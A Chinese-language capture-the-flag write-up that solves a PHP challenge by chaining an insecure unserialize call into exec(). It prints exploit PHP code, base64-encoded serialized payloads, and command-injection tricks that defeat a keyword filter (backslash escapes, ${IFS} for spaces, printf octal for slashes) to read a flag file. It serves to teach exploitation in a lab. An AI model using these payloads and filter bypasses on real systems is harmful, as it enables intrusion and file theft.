关注这个靶场的其它相关笔记：攻防世界（XCTF） —— 靶场笔记合集-CSDN博客

0x01：Write UP

本关是一个 PHP 代码审计关卡，考察的是 PHP 反序列化漏洞以及命令执行的一些绕过手段，下面笔者将带你一步步过关。

代码审计，首先定位题目中的敏感函数，笔者这里定位到了如下函数：

 function ping($ip){
     exec($ip, $result); // exec 执行 $ip 传递来的命令，并将结果写入到 $result 中
     var_dump($result);  // 展示 $result 的内容
 }

看到 exec() 可以很容易想到本关的考察点就是命令执行漏洞。继续逆向审计，看看哪里有机会调用 ping() 函数，笔者将目光放到了这里：

 // __destruct() 当对象销毁时触发
 function __destruct(){
     // 如果 $this->method 为 ping 则会进入函数调用
     if (in_array($this->method, array("ping"))) {
         // call_user_func_array => 调用回调函数，并把 $this->args 数组传递过去作为参数
         call_user_func_array(array($this, $this->method), $this->args);
     }
 }

结合上面两个函数，很明显，我们要生成一个对象，并给这个对象的 $this->method 赋值为 ping，让其调用 function ping($ip) 函数，如果成功那么 $this->args 里就可以是我们赋值给它的任意的命令。

下面我们来看看题目类的构造方法（初始化方法）：

 function __construct($method, $args) { // 构造方法，接收两个传参
     $this->method = $method; // 将 $method 传递到 $this->method 中
     $this->args = $args; // 将 $args 传递到 $this->args
 }

通过之前的分析，我们知道了，$method 我们要赋值为 ping，$this->args 中就是我们进行命令执行的参数，我们的目标是获取 Flag，但是目前我们连 Flag 的位置都不知道，所以首先我们肯定是要先检查目标当前文件夹下的文件有啥的，所以我们想要执行的命令为 ls，即列出目标当前目录下的内容。这里还有一个注意点，$this->args 传递的是一个数组类型的数据，为啥？我们先来看一下 call_user_func_array() 函数的定义：

PHP 官方文档中写名的，该函数第一个接收的是回调函数，第二个接收的是参数数组。

所以，基于前面的一套分析，我们可以得出，我们需要实例化一个这样的对象：

 $ctf = new ease('ping', array('ls'));

所以，我们最终的题解模板程序如下所示：

 
 class ease{
     
     private $method;
     private $args;
     function __construct($method, $args) {
         $this->method = $method;
         $this->args = $args;
     }
  
     function __destruct(){
         if (in_array($this->method, array("ping"))) { // 如果 $this->method 为 ping 则进行调用
             call_user_func_array(array($this, $this->method), $this->args); // 调用回调函数 $this->args 是传参
             // $this 即 ease 这个对象， $this->method 你想要调用的 ease 类中的函数名 => ping
         }
     } 
  
     function ping($ip){
         exec($ip, $result); // 让 exec 执行我们传入的命令，并将结果传入 $result 中
         var_dump($result);  // 展示结果 => 考点，命令执行
     }
 ​
     function waf($str){
         if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
             return $str;
         } else {
             echo "don't hack";
         }
     }
  
     function __wakeup(){ // 执行 unserialize 调用此方法
         foreach($this->args as $k => $v) {
             $this->args[$k] = $this->waf($v);
         }
     }   
 }
 ​
 $ctf = new ease('ping', array('ls'));
 echo base64_encode(serialize($ctf)); // 运行代码，这里会显示序列化解
 echo "\n";
 // $ctf=@$_POST['ctf'];
 // @unserialize(base64_decode($ctf));
 ?>

下面我们一步一步为我们的命令执行扫清障碍。通过上面的题解代码，运行后我们会得到一个进行 Base64 编码后的 ease 对象的序列化内容，当目标服务端接收后，会执行反序列化操作。

首先进入 __wakeup() 函数，该函数会调用 waf() 方法，将我们传递的 array() 数组中的每一个元素都过一遍 WAF，如果出现黑名单字符，就会输出 don't hack，反之则会返回。

我们将要执行的 ls 很明显在黑名单中，绕过很简单，使用 \ 即可，在 Linux 操作系统中 ls 与 l\s 是等价的：

所以，我们可以使用如下对象构建序列化内容执行 ls 命令：

 $ctf = new ease('ping', array('l\s'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

如上，我们成功得到了 Flag 的存放地址，此时注意了页面显示的 flag_1s_here 是个文件夹不是文件哦（笔者偷懒少测一步，不信你 cat 一下这个文件，你啥也读不到，还会怀疑自己）。

知道了 Flag 存放的文件夹，下面我们要去读取这个文件夹下面的内容，使用 l\s flag_1s_here 构建序列化内容读取？你会发现，上面那个命令中空格与 flag 都是黑名单内容，这里又考察了命令执行的空格绕过。在 Linux 系统中，我们可以使用 ${IFS}进行空格的绕过。所以修改后的 Payload 如下：

 $ctf = new ease('ping', array('l\s${IFS}f\lag_1s_here'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZlxsYWdfMXNfaGVyZSI7fX0=

至此，我们已经成功获得 Flag 的文件地址：

 flag_1s_here/flag_831b69012c67b35f.php

然后问题又来了，/ 也被过滤了。咋搞，这里我们需要使用 Linux 内联代码进行绕过，先来看个 / 的等价写法：

所以我们最终的题解 Payload 如下：

 $ctf = new ease('ping', array('c\at${IFS}f\lag_1s_here$(printf${IFS}"\57")f\lag_831b69012c67b35f.p\hp'));
 echo base64_encode(serialize($ctf));
 // 结果: Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo3MDoiY1xhdCR7SUZTfWZcbGFnXzFzX2hlcmUkKHByaW50ZiR7SUZTfSJcNTciKWZcbGFnXzgzMWI2OTAxMmM2N2IzNWYucFxocCI7fX0=

0x02：参考链接

$IFS - A思 - 博客园$IFS 是linux中的命令 $IFS默认指定space,tab,换行 也可以自己指定$IFS,例：IFS='&' $IFS可以把多个符号和并，如下： mm=11&&22&&33， echo $mm； //11 22 33,实际是11&https://www.cnblogs.com/AAsisi/p/16316774.html

shell中的$IFS变量和$*-CSDN博客文章浏览阅读5.4k次，点赞7次，收藏21次。IFS表示 Internal Field Separator（内部字段分隔符）_$ifshttp://iyenn.com/rec/1646246.html